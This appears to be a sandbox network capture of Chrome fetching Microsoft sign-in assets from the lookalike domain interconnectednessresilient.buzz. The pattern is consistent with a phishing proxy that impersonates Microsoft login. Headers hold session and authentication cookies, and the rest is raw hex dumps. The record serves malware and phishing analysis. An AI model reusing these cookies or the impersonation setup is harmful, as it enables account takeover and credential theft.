23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	50017	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:22 UTC	1917	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: interconnectednessresilient.buzz Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeu [TRUNCATED]
2025-01-14 14:56:22 UTC	765	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:56:22 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Sun, 18 Oct 2020 03:02:03 GMT ETag: 0x8D8731230C851A6 x-ms-request-id: b1f7e4c5-f01e-003a-5bc0-65ae91000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20250114T145622Z-15d54ff9787bv2q8hC1YTOyqs00000000fn0000000001u2e x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-01-14 14:56:22 UTC	15619	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2025-01-14 14:56:22 UTC	1555	IN	Data Raw: 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 00 00 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""333

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	50018	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:22 UTC	1948	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_ae573f441ee1cf781ec7.js HTTP/1.1 Host: interconnectednessresilient.buzz Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeu [TRUNCATED]
2025-01-14 14:56:22 UTC	1412	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:56:22 GMT Content-Type: application/x-javascript content-length: 15748 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Thu, 26 Jan 2023 00:32:55 GMT ETag: 0x8DAFF34DE08B462 x-ms-request-id: fd51770a-101e-0006-7894-66cf44000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20250114T145622Z-15d54ff97874nkz2hC1YTO66es00000003pg000000001uk9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2025-01-14 14:56:22 UTC	10	IN	Data Raw: 1f 8b 08 00 00 00 00 00 00 03 Data Ascii:
2025-01-14 14:56:22 UTC	5517	IN	Data Raw: ad 5b 7d 77 da c6 d2 ff ff 7e 0a a1 db 43 a4 9b b5 6c da a4 ed c5 55 7d 1c 5e 12 5a 3b 76 0d ee 5b 92 c3 11 68 01 c5 42 52 b5 c2 98 1a be fb f3 9b 5d 09 09 10 d8 e9 73 73 1c 83 76 67 67 67 67 e7 7d e4 e3 ff 54 fe a5 fd 47 3b 7a fe 3f ad db 3b bf e9 69 57 6d ad f7 ae 73 d3 d4 ae f1 f4 87 f6 fe aa d7 69 b4 9e 8f 87 36 a5 ff bd 89 27 b4 91 e7 73 0d 9f 03 47 70 57 0b 03 2d 8c 35 2f 18 86 71 14 c6 4e c2 85 36 c5 ef d8 73 7c 6d 14 87 53 2d 99 70 2d 8a c3 cf 7c 98 08 cd f7 44 82 45 03 ee 87 73 cd 00 ba d8 d5 ae 9d 38 59 68 9d 6b d3 02 7e 0e 6c de d8 0b b0 7a 18 46 0b 7c 9f 24 5a 10 26 de 90 6b 4e e0 4a 6c 3e 1e 02 c1 b5 59 e0 f2 58 9b 4f bc e1 44 bb f4 86 71 28 c2 51 a2 c5 7c c8 bd 7b 6c 22 66 18 df dc 82 69 4e cc 35 c1 13 6d 14 c6 c9 44 d1 61 69 5d 82 4c b1 0a Data Ascii: [}w~ClU}^Z;v[hBR]ssvgggg}TG;z?;iWmsi6'sGpW-5/qN6s\|mS-p-\|DEs8Yhk~lzF\|$Z&kNJl>YXODq(Q\|{l"fiN5mDai]L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	50020	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:22 UTC	3314	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: interconnectednessresilient.buzz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHF [TRUNCATED] Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeu [TRUNCATED]
2025-01-14 14:56:22 UTC	779	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:56:22 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 12 Feb 2020 22:01:30 GMT ETag: 0x8D7B0071D86E386 x-ms-request-id: 7017a5c9-b01e-0030-0294-664234000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20250114T145622Z-15f8c946864pwlbdhC1YTOd5kc0000000csg000000000c99 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-01-14 14:56:22 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	50019	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:22 UTC	3314	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_b540a8e518037192e32c4fe58bf2dbab.gif HTTP/1.1 Host: interconnectednessresilient.buzz Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://interconnectednessresilient.buzz/?7bk3o0j2b=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvdjIuMC9hdXRob3JpemU/Y2xpZW50X2lkPTQ3NjU0NDViLTMyYzYtNDliMC04M2U2LTFkOTM3NjUyNzZjYSZyZWRpcmVjdF91cmk9aHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRmxhbmRpbmd2MiZyZXNwb25zZV90eXBlPWNvZGUlMjBpZF90b2tlbiZzY29wZT1vcGVuaWQlMjBwcm9maWxlJTIwaHR0cHMlM0ElMkYlMkZ3d3cub2ZmaWNlLmNvbSUyRnYyJTJGT2ZmaWNlSG9tZS5BbGwmcmVzcG9uc2VfbW9kZT1mb3JtX3Bvc3Qmbm9uY2U9NjM4NzI0NjMzNzQ1NTQyMzY0Lll6WTBOREF5WVdFdFkyRXpPUzAwWlRoakxUaGlZMkl0WVdRM05XSTBObVptWXpRM1pHWTNPV1U0WkRjdE5tWmtPQzAwTkRBekxUZ3pNalF0WldWa01qTXpNV05sTnpSaiZ1aV9sb2NhbGVzPWVuLVVTJm1rdD1lbi1VUyZjbGllbnQtcmVxdWVzdC1pZD0xYzkwNjgwMS1kY2I0LTQ5ODItOWUwNi1jNTQzNzRlM2UxZGYmc3RhdGU9Q0c2dmY4QUQ3eGp3aTgtMkNwY2ZFTmZyWE52WGExamJpMXQwbGx4djlqTmc5bnhsZFBTOEYwWUpBN3hidTJlWXlYLVB1MWVkX0lQanpNT2pQc1hOV1BZZVV4cFNSNzZfOWZjVHg5OE5XVWdZRC1mdWtHaWtOUTdSQ1VodFFFMTl3TnF3TkdjQjVZd2hWNHRycnUzVGJzbjlZdjcwNVBYWmJJWHFWbFB6Q2w4NzBmTUFSV0Z4Q1JKQ241enZmMTdwd1Jvb2NvcFBhczhJR2pwV3hLd2J4bmczWHF [TRUNCATED] Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeu [TRUNCATED]
2025-01-14 14:56:22 UTC	735	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:56:22 GMT Content-Type: image/gif Content-Length: 3620 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 17 Jan 2020 19:28:38 GMT ETag: 0x8D79B8373B17F89 x-ms-request-id: 9f62da8f-d01e-007b-1894-66be67000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20250114T145622Z-15d54ff97879xlcmhC1YTO6xz80000000dng000000000wuz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-01-14 14:56:22 UTC	3620	IN	Data Raw: 47 49 46 38 39 61 60 01 03 00 f0 00 00 00 00 00 69 69 69 21 f9 04 09 05 00 00 00 21 fe 26 45 64 69 74 65 64 20 77 69 74 68 20 65 7a 67 69 66 2e 63 6f 6d 20 6f 6e 6c 69 6e 65 20 47 49 46 20 6d 61 6b 65 72 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 36 84 1d a9 b7 07 ed 50 8a 6c d2 8b b3 de bc fb 0f 86 e2 48 96 e6 89 a2 0a 04 49 01 d6 3a 71 4a d7 f6 8d e7 fa ce 6b ab f5 00 ba 60 42 59 b1 87 4c 2a 97 cc 26 af 00 00 21 f9 04 09 05 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 1f 69 19 07 ec 96 8a b2 51 34 af de bc fb 0f 86 e2 48 96 e6 89 a6 6a 0a 3d 99 6b 39 2d 35 5f f5 8a e7 fa ce f7 fe 0f 8c b4 6a 37 98 a6 28 7b 05 97 cc a6 f3 09 d5 15 00 00 21 f9 04 09 03 00 00 00 2c 00 00 00 00 60 01 03 00 00 02 39 84 0f Data Ascii: GIF89a`iii!!&Edited with ezgif.com online GIF maker!NETSCAPE2.0,`6PlHI:qJk`BYL*&!,`9iQ4Hj=k9-5_j7({!,`9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	50022	23.95.206.235	443	7016	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:56:22 UTC	1936	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/marching_ants_white_166de53471265253ab3a456defe6da23.gif HTTP/1.1 Host: interconnectednessresilient.buzz Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=ecK0wqFiqa5h; qPdM.sig=u72gfGBaoIpRGBdcRDkZXkbESRM; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; OH.DCAffinity=OH-eus; OH.FLID=753f2337-3c17-4548-b06a-e5ac41f3bc6e; .AspNetCore.OpenIdConnect.Nonce.GukXJycHXf-B0eNW-DdKGxGtpRBNqq-ZxjW-hMSZPaKEWV50oJMLfJkYv0bpBCmF9Eh7uDlgYo2kb5DJ88uwMHdxNBS3WeX7IUBvAttGVtil5k-LnQTPcV7jUFZ4xdz87mKs6v2rtBkMrm9Mv6HblymjqBku9u6F1Xda45-f10VMN4RJyZcZLEoxew3XlWWuTqRHZ_vL-a1HUWZjrn2W9kmXgTYMqY67f0VY52WSGqLfsCc-8TpN2bUZ_g592MaH=N; .AspNetCore.Correlation.TvBSmgzc8wfLy9SWKyBBqMAINBKoRois3QicuvRaAPA=N; esctx-YoQmlPl74ok=AQABCQEAAADW6jl31mB3T7ugrWTT8pFev1CIKNLDHzEK5BZYYh6l0ji03u2z7OYHGWahFh9XQmN9j2JgfjTuevFfgnlFHjm7DxnTBebGfGsiA80E87kTDCog1Qs4co_B8fQOisrvgvdhtDYseBAy3yUEEmQU36rybo-4NJydRhRRhMGNZ3W8fCAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.ATcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAAA3AA.AQABGgEAAABVrSpeuWamRam2jAF1XRQEV6blJpo6Gs86EEohfI7teuqd3uhkd915RlLEKBvX-PONr9uEjtcYsPcLcl0v4OUV24ACIa8jLEq1vUf_TbvAC7O60f1uRnWqcsvN3idAyEwgAA; esctx=PAQABBwEAAABVrSpeu [TRUNCATED]
2025-01-14 14:56:22 UTC	762	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:56:22 GMT Content-Type: image/gif Content-Length: 2672 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 17 Jan 2020 19:28:37 GMT ETag: 0x8D79B83739984DD x-ms-request-id: 53073ec9-301e-003e-5794-666b84000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20250114T145622Z-15f8c9468645hlj4hC1YTO6ahg0000001680000000000pq5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
